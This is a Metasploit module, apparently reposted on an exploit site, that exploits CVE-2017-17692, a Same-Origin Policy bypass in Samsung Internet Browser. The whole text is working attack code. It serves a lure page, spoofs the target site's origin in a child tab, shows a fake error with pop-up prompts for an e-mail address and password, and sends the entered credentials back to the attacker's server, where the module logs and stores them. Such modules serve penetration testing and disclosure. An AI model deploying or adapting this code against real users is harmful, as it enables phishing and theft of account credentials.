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Samsung Internet Browser SOP Bypass

Posted on 20 December 2017

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Samsung Internet Browser SOP Bypass',
'Description' => %q(
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
credentials via a fake pop-up.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
],
'References' => [
[ 'CVE', '2017-17692' ],
['URL', 'http://fr.0day.today/exploit/description/28434']
],
'DisclosureDate' => 'Nov 08 2017',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)

register_options([
OptString.new('TARGET_URL', [
true,
'The URL to spoof origin from.',
'http://example.com/'
]),
OptString.new('CUSTOM_HTML', [
true,
'HTML to display to the victim.',
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
])
])

register_advanced_options([
OptString.new('CUSTOM_JS', [
false,
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
''
])
])

end

def run
exploit # start http server
end

def evil_javascript
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
js = <<-EOS
setTimeout(function(){
x.document.body.innerHTML='<h1>404 Error</h1>'+
'<p>Oops, something went wrong.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var cred=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(cred);
}, 3000);
EOS
js
end

def setup
@html = <<-EOS
<html>
<meta charset="UTF-8">
<head>
<script>
function go(){
try {
var x = window.open('#{datastore['TARGET_URL']}');
#{evil_javascript}
} catch(e) { }
}
</script>
</head>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
end

def store_cred(username,password)
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: 'msfconsole',
workspace_id: myworkspace_id,
service_name: 'web_service',
realm_value: datastore['TARGET_URL'],
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
end

# This assumes the default schema is being used.
# If it's not that, it'll just display the collected POST data.
def collect_data(request)
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if u.blank? || p.blank?
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
else
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
end
end

def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end

end

 

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